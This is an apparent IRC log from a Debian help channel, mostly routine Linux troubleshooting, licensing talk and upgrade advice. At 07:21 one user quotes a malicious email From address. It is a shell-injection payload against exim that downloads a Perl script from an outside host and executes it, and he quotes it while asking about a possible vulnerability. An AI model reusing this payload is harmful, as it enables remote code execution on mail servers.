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| 02:41.32 | queso | Is there a tool I can use to keep track of which processes are causing writes to my SSD so I can try to minimize them? |
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| 02:41.58 | histo | queso: iotop ? |
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| 02:45.52 | dizzylizzy | I've spent two hours trying to get samba working with bare minimum functionality with exactly zero luck |
| 02:46.02 | dizzylizzy | why does my partner have to use windows? |
| 02:46.45 | dvs | !lart partner |
| 02:46.46 | dpkg | plops partner into a giant vat of herring |
| 02:47.22 | queso | histo: I'll try that, thanks. |
| 02:47.24 | dizzylizzy | that makes me feel better |
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| 02:48.03 | histo | dizzylizzy: what is the problem with samba |
| 02:49.06 | mongaj | dizzylizzy: Are you having trouble with user accounts? That's what I had trouble with first time around |
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| 02:50.06 | CaptainK | maybe you need metro to get it to work :P |
| 02:50.30 | dizzylizzy | mongaj, I'm having trouble with literally everything; I can't even get an anonymous share working |
| 02:51.05 | Tech163 | i'm accessing debian 7.1 via VNC. for some odd reason, my up and down arrow seems to have been mapped to maximize and resize. has anyone seen this before? |
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| 02:52.57 | histo | Tech163: /etc/default/keyboard have something weird in it? |
| 02:52.59 | mongaj | dizzylizzy: open a query with me I'll try to help |
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| 02:53.51 | sideup66 | update for those who are so inclined |
| 02:54.11 | sideup66 | it turns out my server is not indeed having problems, instead this time, its windows 7 on this one particular pc giving me grief |
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| 02:54.22 | asciiker | hello |
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| 02:54.51 | Tech163 | histo http://pastebin.ca/2401718. according to the shortcut settings, maximize is super+up, but it's getting triggered when I'm just pressing up |
| 02:55.17 | asciiker | I have a question about how debian handles arp requests, basically I could have 2 virtual machines online with the same IP for 2 seconds during a fail-over event |
| 02:55.23 | asciiker | would this be acceptable? |
| 02:55.23 | histo | Tech163: very odd what vnc server are you using? |
| 02:55.29 | Tech163 | tightvncserver |
| 02:55.30 | histo | Tech163: or is super key stuck on your kb? |
| 02:56.00 | Tech163 | histo nope. weird. I'm going to try without vmc and see if i have same issue |
| 02:56.07 | dizzylizzy | mongaj, it's all right |
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| 02:56.28 | asciiker | Tech163: I have had issues with the TAB key in VNC, but I missed the question |
| 02:56.32 | mongaj | dizzylizzy: alright, good luck! |
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| 02:57.44 | Tech163 | asciiker it seems like the super key is arbitrarily being called when i press the up key |
| 02:58.06 | asciiker | are you using xfce ? |
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| 02:59.57 | asciiker | Tech163: ? |
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| 03:00.24 | Tech163 | nope, gnome classic |
| 03:01.07 | Tech163 | this is real weird |
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| 03:01.17 | Tech163 | okay so it's only happening via vnc |
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| 03:02.17 | histo | Tech163: try a different vnc server |
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| 03:10.44 | Tech163 | seems like i'm not the first http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=698859 |
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| 03:14.38 | Tech163 | wow this is weird |
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| 03:16.08 | histo | Tech163: did you try a different vnc server? |
| 03:16.20 | Tech163 | yup. tried vnc4server, same issue |
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| 03:16.31 | histo | Tech163: bizarre |
| 03:17.00 | Meep | Okay so downloaded the 64bit version with firmware preinstalled and ran these commands |
| 03:17.13 | Meep | # cp debian.iso /dev/sdX # sync |
| 03:17.21 | Meep | subbing in sdx for sdb1 |
| 03:17.40 | Meep | and when I went to boot the it it said iso missing or corrupt any ideas? |
| 03:17.58 | zykotick9 | Meep: you didn't want the 1 just sdb (cp is sorta weird to use, but i hear it works) |
| 03:18.14 | dvs | Meep: yeah, sdb, not sdb1 |
| 03:18.15 | Meep | http://www.debian.org/releases/stable/amd64/ch04s03.html.en |
| 03:18.18 | Meep | following that |
| 03:18.26 | dvs | which says sdX |
| 03:18.30 | dvs | not sdX1 |
| 03:19.00 | Meep | <PROTECTED> |
| 03:19.10 | Meep | according to this I shouldn't use sdb1 |
| 03:19.19 | Meep | please explain |
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| 03:19.41 | dvs | Meep: sdb1 will not overwrite the MBR which you need to do with the iso image. |
| 03:19.50 | zykotick9 | Meep: sdb1 is the first partition, but you want the drive itself, so sdb |
| 03:20.00 | Meep | so then what commands should i run and in which order |
| 03:20.02 | Meep | ? |
| 03:20.30 | dvs | Meep: take away the "1" |
| 03:20.46 | Meep | okay |
| 03:20.52 | Meep | doing that now |
| 03:21.09 | Meep | will leave this chat to see if it works but will rejoin with phone irc client |
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| 03:23.29 | moof2_ | dvs, what if I stored an .iso in a file on a partition... can I boot in the installer in that situation? |
| 03:23.31 | Meep2 | Back |
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| 03:24.36 | moof2_ | or, can I boot it from grub? |
| 03:24.39 | Meep2 | And so far everything is working |
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| 03:26.41 | moof2_ | Meep Meep? |
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| 03:27.48 | Meep | Yes but now I am running into some problems |
| 03:28.21 | Meep | I am installing via wireless with the firmware but network auto configuration is failing |
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| 03:29.15 | Regso | Debian noob, quick question. I installed it, and for sakes of being quick I decided not download the rest of the packages, just the bare system and DE, is there anyway to download the rest of the packages? |
| 03:29.23 | Meep | So I am just going to configure that later |
| 03:29.29 | moof2_ | does it have a wired interface? do you have an ability to connect it? |
| 03:29.38 | asciiker | Regso: what packages do you need ? |
| 03:29.43 | Meep | No wired connection |
| 03:29.55 | Meep | It can connect but dhcp is being weird |
| 03:30.12 | moof2_ | ok, you can do that (configure after install) if you want. |
| 03:30.21 | Regso | Well, I booted up and realized I didn't have sudo, when I try to add it through the software manager it told me to put in the debian disk, it did the same with graphics card drivers too. |
| 03:30.33 | Meep | Sweet so I will still get a gui and everything though right? |
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| 03:30.53 | Meep | Cause if not I may have just shot myself in the foot |
| 03:31.06 | moof2_ | Regso, did your network get configured during install? |
| 03:31.11 | javierbuilder | hello friends, i have one panel multitouch by usb, but use the xinput_calibrator and dont rotate the coord. can help me ? |
| 03:31.24 | Regso | Moof2_: yeah |
| 03:31.39 | moof2_ | ok, so if you want to, you can run tasksel as root |
| 03:31.54 | moof2_ | you can ping (say) google.com? |
| 03:32.14 | Meep | It is still installing but should I boot into a gui? |
| 03:32.24 | Meep | That is what I need to know |
| 03:32.40 | moof2_ | well, if it's installing now, let it complete. |
| 03:32.55 | Meep | It will take a few hours |
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| 03:33.06 | Meep | I am going to assume |
| 03:33.09 | moof2_ | what you're installing is just the base (like Regso did) |
| 03:33.10 | Regso | moof2_: It just shows the option for debian's desktop enviroment |
| 03:33.37 | Meep | Si then I should get the option to boot into gui yes? |
| 03:33.50 | moof2_ | I think so |
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| 03:34.12 | Meep | Okay then |
| 03:34.22 | moof2_ | Meep, I believe that before you can instll more packages, you have to get your wireless going if it's not already |
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| 03:34.50 | Meep | It said dhcp was not configured |
| 03:35.06 | Meep | So I think I can |
| 03:35.33 | moof2_ | Regso, if I understand your situation correctly, your net is set up, so you can start by running tasksel, which should allow you to install gnome |
| 03:36.15 | Meep | I am restarting |
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| 03:36.51 | Regso | Yeah, I already have that, when I tried to installed more packages it would give me the error that I need to enter a CD, I just had to comment out the repo in the sources file. |
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| 03:38.25 | Meep | Do I need dhcp configured to use the mirrors or Internet in general |
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| 03:38.54 | Meep | Now it says network auto configuration failed |
| 03:39.16 | Meep | Your network is probably not using dhcp protocol |
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| 03:40.57 | moof2_ | Meep, if we can zoom out a bit, dhcp is only one way to configure your networking... there are other auto-IP ways to configure, then there's static networking... usually dhcp is preferred because it's normally automatic and easy |
| 03:41.29 | moof2_ | Meep, if you take a look at dmesg | tail |
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| 03:42.04 | moof2_ | or maybe dmesg | less (if you don't see enough) |
| 03:42.48 | moof2_ | then you might be able to see a problem related to getting the wireless to work |
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| 03:43.19 | Meep2 | I had to reset my phone wireless |
| 03:43.36 | Meep2 | I think I got it to work |
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| 03:44.27 | moof2_ | are you at a prompt? |
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| 03:45.10 | mert | I followed the instructions in the mate-desktop wiki to install mate-core on my Debian Wheezy. Then I met the "unmet dependencies" problem. Anyone gives me a help? |
| 03:45.12 | Meep2 | Not yet |
| 03:45.31 | moof2_ | ok, what are you doing at the moment? |
| 03:45.35 | Meep2 | I think I just had to configure it manually |
| 03:45.52 | Meep2 | It is at the installing base system stage |
| 03:46.05 | moof2_ | is it getting the base from the net? |
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| 03:46.52 | Meep2 | I think so |
| 03:47.10 | Meep2 | Now It says I have a bad mirror |
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| 03:47.16 | themill | chomwitt: you need to fix your /etc/sudoers to fix your PATH. /msg dpkg sudo path |
| 03:47.36 | moof2_ | are you running the installer? |
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| 03:47.39 | Meep2 | So I think I screwed up |
| 03:47.41 | Meep2 | Yes |
| 03:48.03 | Meep2 | The same one someone linked me to earlier |
| 03:48.05 | moof2_ | ok, try Alt-F2, then try ping google.com |
| 03:48.13 | moof2_ | I'm not sure you have ping |
| 03:48.41 | Meep2 | Nothing is coming up |
| 03:48.59 | Meep2 | Bad address |
| 03:49.12 | moof2_ | ok, seems you're still not connected |
| 03:49.24 | Meep2 | Okay now what |
| 03:49.25 | moof2_ | from that prompt |
| 03:49.42 | moof2_ | can you run dmesg |
| 03:49.51 | moof2_ | let it spew till the end |
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| 03:50.18 | Meep2 | I found an ethernet cord |
| 03:50.57 | Meep2 | Will run anyways |
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| 03:51.37 | Meep | Sorry about that |
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| 03:51.45 | Meep | Please say it again |
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| 03:54.42 | histo | lol |
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| 03:56.08 | Meep | The network auto configuration succeeded |
| 03:56.11 | moof2_ | I think you'll like the installer better when it can configure the net before getting the base |
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| 03:56.19 | moof2_ | then you're all set |
| 03:56.36 | moof2_ | you can install everything you want, and then when you reboot, you can install more |
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| 03:57.16 | dizzylizzy | Hello, I'm using gnome 3.4. I would like to get my openvpn service working, but when I input the username/password and provide the certificate file my service provided, it will not connect. No errors, just... does not connect and remains "not connected" Any tips? |
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| 03:57.26 | Meep | Okay but I want to know how to do that someday |
| 03:58.21 | Meep | Wait then my wireless isn't configured yet which I will have to deal with after installation |
| 03:59.18 | qman__ | wireless is much easier to configure post-install, most wireless chips require extra firmware packages or similar |
| 03:59.19 | moof2_ | how to... get the wireless going? ok, we can likely get that going after you get done installing the initial batch |
| 03:59.50 | moof2_ | Meep, yes, it's going to be far easier |
| 04:00.36 | Meep | Okay sweet |
| 04:00.48 | Meep | Then I will just do it this way every time |
| 04:01.15 | Meep | Night |
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| 04:11.25 | acu | something freaky just happen, I have two PCI-e Marvell NICs installed in two different Debian Wheezy machines and setup for dhcp - strangely both of this cards get the same IP address, I reset the dhcp - did a lot of things, |
| 04:11.35 | acu | still they both get the same IP |
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| 04:13.56 | moof2_ | two dhcp servers? |
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| 04:14.34 | moof2_ | do the cards have the same mac addr? |
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| 04:15.38 | acu | moof2, no, that would be easy to diagnose craziness :) one dhcp - let me look at the mac addr, it will be the first time when two cards have identical mac addresses |
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| 04:17.33 | moof2_ | what can I say... those were my first two hits :) |
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| 04:18.44 | wudu | Hi |
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| 04:19.28 | moof2_ | hi |
| 04:19.29 | wudu | I want to remove iceweasel but apt-get then wants to install icedove. How can I remove iceweasel without installing icedove? |
| 04:19.42 | wudu | running wheezy BTW |
| 04:20.01 | phy1729 | wudu: I had that problem. I think it was because I installed the desktop meta-package |
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| 04:22.15 | acu | bloody NICs it is first time I found this, I am troubleshooting this since morning - they seem to have the same MAC addr - if I do ip addr second line is link/ether 00:50:43:00:45:3e |
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| 04:22.41 | wudu | phy1729: What did you then? How's the name of that package? |
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| 04:23.20 | acu | moof2_ I think that was the problem |
| 04:23.27 | acu | is just unbeleivable |
| 04:23.31 | phy1729 | wudu: well testing in a VM so I did a fresh install and didn't select it on install |
| 04:23.44 | phy1729 | well I am testing in a VM* |
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| 04:26.33 | wudu | Shit! I hate that! |
| 04:26.48 | wudu | Thanks for that info phy1729 |
| 04:27.21 | phy1729 | do know that not selecting that will get rid of a number of other packages |
| 04:27.49 | phy1729 | I'm just a fan of lightweight and have the luxury of testing for what I want in a VM first |
| 04:28.15 | moof2_ | acu, same mac addr? |
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| 04:33.38 | acu | moof2_ yes I think that was it |
| 04:34.40 | acu | unbelievable - the whole network was fussy, two diffeent computers have 2 NICs each - but one of their nics was similar to other, and dhcp gave them both the same IP |
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| 04:35.07 | moof2_ | hmm, did we get two people getting that at the same time? |
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| 04:35.31 | acu | also I found something without doubt - adding 8.8.4.4 for DNS servers, the browsing flies compared to some other DNS servers, I did not expect it makes such difference |
| 04:36.01 | acu | moof2_, what do you mean two people ? |
| 04:36.21 | moof2_ | I guess yourself, and one other ircer here |
| 04:36.46 | acu | today ? |
| 04:36.50 | moof2_ | no, never mind, it was just one |
| 04:36.51 | acu | yes, that is spooky :) |
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| 04:38.10 | acu | I think I have installed several hundreds of NICs, this is first time when I see two identical ones - thanks moof2_ you made me look at them, actually I was really going to look before you said, but I did not think that is relevant |
| 04:38.24 | moof2_ | I was all ready to think we were going to get a rash of those over the next few weeks |
| 04:39.12 | acu | why is so ? or it was a bit of sarcasm :) |
| 04:39.27 | moof2_ | no, not sarcasm |
| 04:40.17 | moof2_ | what I got when thinking about that, was that manufacturers would stop caring about random and different macs |
| 04:41.29 | acu | Now, I am freaking out, I am going to look at each MAC, I had another remote network behaving strangely, but I think that is because of some cross or shorts somewere |
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| 04:45.46 | moof2_ | well the later advance in tech, was the ability to change the mac addr with some software program that talks to the card |
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| 04:48.30 | moof2_ | and remember that macs only have to be unique in the same ether net |
| 04:49.08 | phy1729 | moof2_: possibly more for IPv6 autoconfig |
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| 06:50.44 | vlt | Hello. If you wanted to playback a list of audio files with customisable crossfades, so that on key press the next (or a certain selected) track immediately fades in, for example, in 150 ms while the currently running fades out in 750 ms, what would you use? Any idea? Is there something I can script? |
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| 06:51.05 | vlt | I tried mocp, cmus, xmms2, mpd, mplayer. No success so far. |
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| 07:01.43 | moof2_ | vlt maybe ardour |
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| 07:04.10 | vlt | moof2_: I can’t imagine how to do it with Ardour. |
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| 07:05.29 | vlt | moof2_: If I jumped to something like the next marker, how to tell ardour to fade out the previous "section"? |
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| 07:15.24 | moof2_ | well, I just built it a few days ago, it looks to have similarities with protools. My interest in it right now, is on its midi side, and having said that, I'm looking to learn as much as possible. Ardour has a manual and at least one tutorial, as well as a channel: #ardour |
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| 07:21.21 | Shadur | Is there a recent new vulnerability in exim? |
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| 07:21.44 | Shadur | Because I just got sent several emails with the "From" address set to" x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt``perl${IFS}/tmp/p.pl`@blaat.com " |
| 07:23.11 | vlt | moof2_: Yes, I have used ardour (2) before. I’m only out of ideas how to achieve what I want to. |
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| 07:23.27 | vlt | moof2_: How would you do that with protools? |
| 07:24.28 | moof2_ | too poor for protools :) |
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| 07:26.10 | moof2_ | there has been a new ardour release, 3.1 |
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| 07:26.32 | moof2_ | so it has the midi sequencers and editors |
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| 07:39.53 | C4709 | Hi , I need help to get my huawei 3g dongle work in debian 7.0 . The USB 3g dongle is connected in "modem mode" using usb_modeswitch but still the dongle is not visible in NetworkManager applet |
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| 07:40.19 | gedO | Hello |
| 07:40.42 | gedO | Can some explain me how to update package using source code and uupdate command??? |
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| 07:54.55 | moof2_ | gedO, you can compile whatever source you want... I'll suggest you set prefix=/usr/local |
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| 07:55.48 | KryptoKnight | ^ignore^ |
| 07:56.31 | moof2_ | debian is a packaged system, with people who work very hard to make sure packages work properly together... if you find yourself feeling trapped by this, debian may not be for you |
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| 08:15.59 | rubitonol | pcmanfm package needs an update http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=678289#31 |
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| 08:28.34 | mradot | hello |
| 08:28.50 | mradot | where can i find the tarball for cadubi |
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| 08:28.57 | mradot | that includes the debian man page |
| 08:29.13 | moof2_ | try: |
| 08:29.34 | moof2_ | cd (somewhere convenient to get all the source code for cadubi) |
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| 08:29.48 | moof2_ | apt-get source cadubi |
| 08:30.01 | mradot | no no that wont work |
| 08:30.11 | mradot | i need the man page for cadubi |
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| 08:30.14 | mradot | for a different os |
| 08:30.25 | mradot | so im trying to find where i can download it |
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| 08:30.35 | moof2_ | so, I'm not understanding the question |
| 08:30.41 | mradot | yes |
| 08:30.54 | mradot | and i do mean different os not different distro :P |
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| 08:31.11 | mradot | so where can i download it? |
| 08:31.20 | moof2_ | no idea |
| 08:31.27 | mradot | -.- |
| 08:31.29 | daemonkeeper | step 1) go to the homepage step 2) download there |
| 08:31.46 | mradot | daemonkeeper: cadubi's official tarball doesnt come with a man page |
| 08:31.48 | moof2_ | you're asking to have pieces of software that is not part of debian? |
| 08:32.01 | mradot | moof2_: i just want the man page |
| 08:32.04 | babilen_ | mradot: Then use a search engine of your choice to find the homepage of the cadubi project. I fail to see how this is related to Debian. |
| 08:32.23 | moof2_ | , v cadubi |
| 08:32.23 | judd | Package: cadubi on i386 -- jessie: 1.3-2; sid: 1.3-2; squeeze: 1.3-2; wheezy: 1.3-2 |
| 08:32.25 | mradot | b/c debian devolpers made the man page for cadubi |
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| 08:32.42 | moof2_ | mradot, my earlier instructions apply |
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| 08:32.49 | babilen | mradot: Then get the Debian source and read the manpage as explained by moof2_ earlier. |
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| 08:33.06 | mradot | i dont use debian |
| 08:33.11 | babilen | ah! |
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| 08:33.39 | mradot | i just want the man page |
| 08:33.45 | mradot | which comes in the debian package |
| 08:33.54 | mradot | not in the official tarball |
| 08:34.03 | mradot | can someone dcc send me the man page? |
| 08:34.08 | moof2_ | try going to http.debian.org/debian |
| 08:34.33 | moof2_ | I don't have it, you can get it, if you follow instructions |
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| 08:34.43 | babilen | mradot: You can download the source package from http://packages.debian.org/wheezy/cadubi (right hand side, download source package) |
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| 08:36.44 | babilen | mradot: You'll find the manpage in the .diff file (which is a large diff, but it is in there) -- That might not be what you want and you can download the binary package from the same location and unpack it with ar(1) -- That gives you the manpage as it is installed in the system. |
| 08:37.15 | babilen | mradot: Alternatively there is also http://manpages.debian.net/cgi-bin/man.cgi but it seems as if that hasn't been updated in a while. |
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| 08:40.44 | mradot | babilen: thanks :) |
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| 08:47.12 | mradot | hello again |
| 08:47.21 | mradot | am i allowed to make changes to the man page for cadubi? |
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| 08:47.37 | mradot | i would like the remove the part about linuxdoc |
| 08:47.51 | mradot | and the part about being copy and pasted for debian |
| 08:48.09 | moof2_ | I believe so; what license is it under? |
| 08:48.53 | moof2_ | that part goes to who wrote the man page (or who copy/pasted it) |
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| 08:49.48 | moof2_ | is it that you don't want the original author to have credit for writing the man page? |
| 08:50.11 | mradot | moof2_: no |
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| 08:50.39 | mradot | i actually just want to remove the part about linuxdocs |
| 08:50.41 | mradot | if thats fine |
| 08:51.02 | moof2_ | I'd say you should keep anything that identifies the author and his email |
| 08:51.16 | mradot | this part: |
| 08:51.50 | mradot | .SH "SEE ALSO" |
| 08:51.50 | mradot | The "Keyboard and Console HOWTO" and the "Text Terminal HOWTO" from the |
| 08:51.50 | mradot | Linuxdoc project (www.linuxdoc.org). Both are available in a Debian GNU/Linux |
| 08:51.50 | mradot | system by installing the doc-linux-text package at |
| 08:51.50 | mradot | .B /usr/share/doc/HOWTO/en-txt/Keyboard-and-Console-HOWTO.gz |
| 08:51.50 | mradot | and |
| 08:51.50 | mradot | .B /usr/share/doc/HOWTO/en-txt/Text-Terminal-HOWTO.gz |
| 08:51.50 | mradot | respectively. |
| 08:51.50 | mradot | hmm |
| 08:51.50 | mradot | that was kinda long |
| 08:51.50 | mradot | sorry bout that should have pastebined |
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| 08:52.23 | moof2_ | oh, the suggestion as to where to go for more info |
| 08:52.55 | mradot | yes |
| 08:53.51 | mradot | i suppose i'll just remove the see also part |
| 08:53.51 | moof2_ | since I'm not a lawyer, I cannot read the license in order to form an opinion as to what you can or cannot do |
| 08:54.24 | mradot | i want the author to be credited so i'll keep the copy and pasted by part |
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| 08:54.46 | moof2_ | you need to either (1) read the license, (2) hire a lawyer and ask him about the license, or (3) both. |
| 08:56.08 | mradot | This program is free software; you can redistribute it and/or modify it under |
| 08:56.08 | mradot | the same terms as Perl itself. |
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| 08:57.13 | jelly | mradot: you can do whatever you want if you do not (re)distribute the result |
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| 08:57.39 | moof2_ | great, you found the license, and that it's the same as the perl license |
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| 09:01.46 | moof2_ | jelly, good pt... and, it's looking like he wants to include the man page in something he wants to give out |
| 09:02.12 | mradot | ok im gonna email the man page now to ports@openbsd.org or whatever that email was :D |
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| 09:02.36 | moof2_ | mradot, so that's distributing it... |
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| 09:02.52 | mradot | yeah |
| 09:02.59 | moof2_ | you should read the perl license |
| 09:03.03 | mradot | im not allowed to do that? |
| 09:03.12 | moof2_ | not saying that |
| 09:03.13 | mradot | moof2_: that was the license on the software |
| 09:03.21 | mradot | not on the man page |
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| 09:04.12 | moof2_ | what I am saying, is if you want to give the man page (aka distribute it), you should find out the conditions under which you can do that... you would do that by reading the perl license |
| 09:05.04 | moof2_ | so, what license is the man page covered under? |
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| 09:05.12 | mradot | no ide |
| 09:05.14 | mradot | a |
| 09:05.16 | Catalystic | Are you sure you want to be disturbing it? |
| 09:05.24 | babilen | moof2_: That's detailed in the copyright file |
| 09:05.39 | babilen | But okay ... I can check it for you ;) |
| 09:06.18 | moof2_ | that'd be a good favor for mradot |
| 09:06.24 | dbnb | i was trying to install virtualbox-ose but the install got corrupted somehow now apt is screwed up completely if i try to do anything with apt i get this message: http://pastebin.com/Kt7Lzdrv |
| 09:06.39 | Catalystic | hey SCO vs IBM is back to haunt linux |
| 09:06.45 | babilen | mradot: Which version? |
| 09:07.01 | Catalystic | get ready for it |
| 09:07.24 | e6tgy | Hi. I have problem with wine installation on wheezy. wine64 is just helper package, so I added i386 architecture, and tried to install wine-bin:i368. But there are conficts, installer wants to remove some libs. What I can do to avoid removeing libs. |
| 09:07.43 | mradot | ok seems like the man page is using the same lincense |
| 09:08.37 | Catalystic | inst there a license if you want to redistribute irc logs say on a web page? |
| 09:08.46 | babilen | mradot, moof2_: Unfortunately the license for the Debian packaging is not specified - You might want to assume that it uses the same license or clarify this with the author/maintainer (<jfs@computer.org> |
| 09:08.48 | Catalystic | there should be |
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| 09:09.28 | moof2_ | babilen, is that email address in the man page itself? |
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| 09:09.44 | mradot | ok well all i removed is see also |
| 09:09.54 | mradot | so i think it'll be find if i send it to ports@openbsd.org |
| 09:09.56 | babilen | mradot: or {teo,mlt}@debian.org -- I am not entirely sure what the legal situation is, but you can definitely assume that you are free to use, alter and distribute that manpage |
| 09:11.14 | babilen | moof2_: It is in the copyright file (simply the addresses of people involved in the packaging -- "who-uploads cadubi" lists {mlt,abi}@debian.org - I would probably contact mlt@d.o |
| 09:11.21 | Catalystic | like everything else on computing do it at your own risc |
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| 09:13.10 | moof2_ | maybe the reason for removing the see also section was that the place where the man page is going to end up doesn't have the documents referred to? |
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| 09:14.09 | mradot | ok |
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| 09:14.22 | mradot | so just removing the see also section should be fine |
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| 09:14.58 | babilen | mradot: Note that it contains "This man page was copy-pasted from other documentation by Abel Daniel (abli@mailbox.hu) for the Debian GNU/Linux distributions, but can be used by others." at the end of the manpage |
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| 09:19.15 | mradot | oh looks it gry |
| 09:19.19 | mradot | oh nvm |
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| 09:47.35 | jelly | babilen: I've seen such man pages in RHEL |
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| 09:47.53 | jelly | so apparently they DO get used by others |
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| 09:50.04 | babilen | jelly: Yeah, apparently the bit at the end is some (horrible IMHO) boilerplate from dh_make. I was sure that it is okay to use it, but simply couldn't (and still can't) answer the question "Which license is it under?". The best guess still seems to be "Just like the rest of the package" |
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| 09:52.01 | jelly | babilen: every file needs to be Smart Data with RDF attached and license info readily available!!!!1 |
| 09:52.06 | jelly | hides |
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| 09:53.18 | MrNaz | is arno-iptables-firewall still considered a good firewall package to use ? |
| 09:53.20 | MrNaz | or am i out of date? |
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| 09:59.09 | ChrisH | MrNaz: Let me answetr that way: Any firewall is good if the configuration administrator knows what he _and_ the firewall is doing. |
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| 10:00.27 | MrNaz | ChrisH of course, however software packages are updated and deprecated all the time. i was wondering if the specific tool i was referring to was still being actively developed and if it had been replaced by something better |
| 10:00.41 | MrNaz | (i hate generic down the nose snipey answers) |
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| 10:07.48 | ChrisH | MrNaz: are you trying to say my answer was useless and arrogant? |
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| 10:09.15 | MrNaz | That is precisely what I am saying. Your answer boils down to "Any package in the class of packages you are asking about will work, if you know what you are doing and how that package works." That answer could be given to any request for a recommendation of anything, not even limited to software. |
| 10:09.32 | MrNaz | "Any car is good, as long as you know what you're doing behind the wheel and are familiar with your vehicle." |
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| 10:10.06 | MrNaz | "Any shovel is good, as long as you know how to use it and what it's best at." |
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| 10:10.43 | MrNaz | "Any condom is good, as long as you know what you're doing and use it correctly." |
| 10:10.49 | jelly | MrNaz: I still have lokkit installed at home even tho it's been, as you say, deprecated and out from debian for quite a while |
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| 10:11.12 | jelly | MrNaz: on some machines, I still have woody-sarge stile /etc/init.d/iptables! |
| 10:11.44 | MrNaz | jelly well the reason i'm here is that im updating a woody server that hasn't had any maint love in years |
| 10:12.17 | MrNaz | or is it earler? i think it's running debian 3.x |
| 10:12.22 | jelly | ... those have not existed in debian for QUITE a while. So yeah, those iptables wrappers really come and go and it'd be nice to have someone point to a still supported decent one |
| 10:12.33 | jelly | ,v arno-iptables-firewall |
| 10:12.34 | judd | Package: arno-iptables-firewall on i386 -- squeeze: 1.9.2.k-4; wheezy: 2.0.1.c-1; jessie: 2.0.1.d-1; sid: 2.0.1.d-1 |
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| 10:12.49 | daemonkeeper | (/me wishes that guy chose a saner name) |
| 10:12.51 | jelly | MrNaz: yours apparently still exists, which is an automatic bonus |
| 10:13.03 | Sevet | and wheezy got a newer version, so still looks maintained :) |
| 10:13.25 | MrNaz | jelly yea i use debian precisely because i want package selection to be as easy as "is it in the stable repo? yes? then i can trust it" |
| 10:13.55 | MrNaz | ok well i know arno and ive used it and i trust it so i'll stick with it |
| 10:14.04 | jelly | MrNaz: you probably know it already, but skipping releases isn't supported, you'll have to woody -> sarge -> etch -> lenny -> squeeze -> wheezy |
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| 10:14.20 | MrNaz | yea i won't be updating just the software |
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| 10:14.28 | MrNaz | this is a whole new server and i'll be retiring the old hardware |
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| 10:14.54 | jelly | probably faster to reinstall and migrate the data |
| 10:14.57 | MrNaz | would going the dist-upgrade path that many steps really work? surely i'll run into problems? |
| 10:14.59 | mntzn | Hi, is there anyone with a relatively large environment say 100+ servers ? how do you deal with upgrades? any tools suggestions (currently thinking about puppet and mco) |
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| 10:15.12 | MrNaz | yea i'll be migrating the data to a whole new physical machine |
| 10:15.20 | MrNaz | the old machine is no longer trustworthy |
| 10:15.30 | jelly | MrNaz: it works, and yes you will run into problems, but those are mostly covered in release notes |
| 10:15.37 | MrNaz | doesn't even have ECC in it i found out!!! |
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| 10:17.34 | Sevet | MrNaz: that many steps? sure, that's how many people will have done it, just not usually all at once |
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| 10:18.56 | MrNaz | Sevet yep... i don't know why, perhaps its just bad experiences elsewhere, but ive always looked at in-place OS upgrades as being mysterious voodoo |
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| 10:20.21 | jelly | MrNaz: it's one of debian's best features |
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| 10:20.58 | MrNaz | and i can trust it, regardless what packages i have installed? even if they are installed from source? |
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| 10:22.45 | jelly | MrNaz: are they packages or source? Anything not from the distro can be a source of extra problems, and the upgrade process can't cover it |
| 10:23.07 | jelly | packages or "make install" |
| 10:24.31 | jelly | if you kept your source-based installation in separate prefixes, at least they won't break stuff from the distro |
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| 10:27.31 | MrNaz | installed from tarball |
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| 10:28.14 | MrNaz | the two that i use from source are apache and php, mainly because i use quite a few custom compile time switches, and finding the documentation for the equivalent way to enable them in the deb packages seemed more trouble than its worth |
| 10:28.26 | MrNaz | things like enabling exif support in php |
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| 10:29.08 | jelly | both of those will break at least 2-3 times across the release upgrade path from woody, anyway |
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| 10:30.46 | jelly | MrNaz: if you installed in /usr/local your reasonably safe they won't affect the stuff from the distro |
| 10:31.14 | MrNaz | hmm |
| 10:31.16 | MrNaz | thanks for the info |
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| 10:31.29 | jelly | if however you have custom libs in /usr/local/lib, Debian's glibc will start looking there somewhere around... squeeze or lenny I think |
| 10:31.38 | MrNaz | although ive been maintaining servers for years, ive yet to really develop the skills necessary to call myself a sysadmin with a straight face |
| 10:32.11 | MrNaz | mainly because my attitude is "i chose debian, so its stable enough to run another year" heh |
| 10:32.26 | jelly | the breakage goes both ways, your custom builds WILL break after you do a release upgrade or two |
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| 10:33.29 | MrNaz | meh |
| 10:33.44 | MrNaz | once this upgrade is finished i'm unlikely to touch the server until 2017 or so |
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| 10:34.32 | MrNaz | the fact that my box is still running woody should tell you something about my affinity for sysadmin work hehe |
| 10:35.05 | jelly | hire someone! |
| 10:35.24 | Zharf | woody... |
| 10:35.31 | Zharf | isn't that like 10 years old |
| 10:35.44 | MrNaz | jelly is that a job application i'm hearing? :P |
| 10:36.30 | Zharf | 11 years |
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| 10:36.48 | MrNaz | sorry its sarge im using 3.1 |
| 10:36.51 | MrNaz | just checked |
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| 10:37.16 | Zharf | well that's 3 years younger ;) |
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| 10:37.57 | jelly | !release history |
| 10:37.57 | dpkg | Debian releases are named after "Toy Story" characters. Buzz(1.1; 1996-03-14), Rex(1.2; 1996-10-28), Bo(1.3; 1997-05-01), Hamm(2.0; 1998-07-24), Slink(2.1; 1999-03-09), Potato(2.2; 2000-08-15), Woody(3.0; 2002-07-19), Sarge(3.1; 2005-06-06), Etch(4.0; 2007-04-08), Lenny(5.0; 2009-02-14), Squeeze(6.0; 2011-02-06), Wheezy(7.0; 2013-05-04). The next release will be Jessie. http://debian.org/doc/manuals/project-history/ch |
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| 10:39.27 | jelly | MrNaz: sure, if you can provide remote access and a monkey to reboot and access console if something goes wrong |
| 10:39.34 | MrNaz | what are they going to do when they run out of toy story characters? |
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| 10:39.45 | jelly | sequels. |
| 10:40.05 | Gaxnys | Neat. |
| 10:40.06 | MrNaz | what if debian starts releasing faster than they make toy story sequels? |
| 10:40.18 | jelly | that is extremely unlikely |
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| 10:40.49 | MrNaz | it might be happening right now in a parallel bizarro universe |
| 10:41.19 | MrNaz | Slashdot article: Debian runs out of names. Meanwhile, Firefox 1.0 comes out of beta. |
| 10:42.05 | jelly | used to be called Phoenix at that time |
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| 10:42.27 | jelly | then Firebird. _Then_ Firefox |
| 10:42.59 | MrNaz | Yea but in this bizarro world they changed names more often than they changed version numbers. |
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| 10:44.08 | jelly | maybe that world has sane version numbering, instead of a new major every two months |
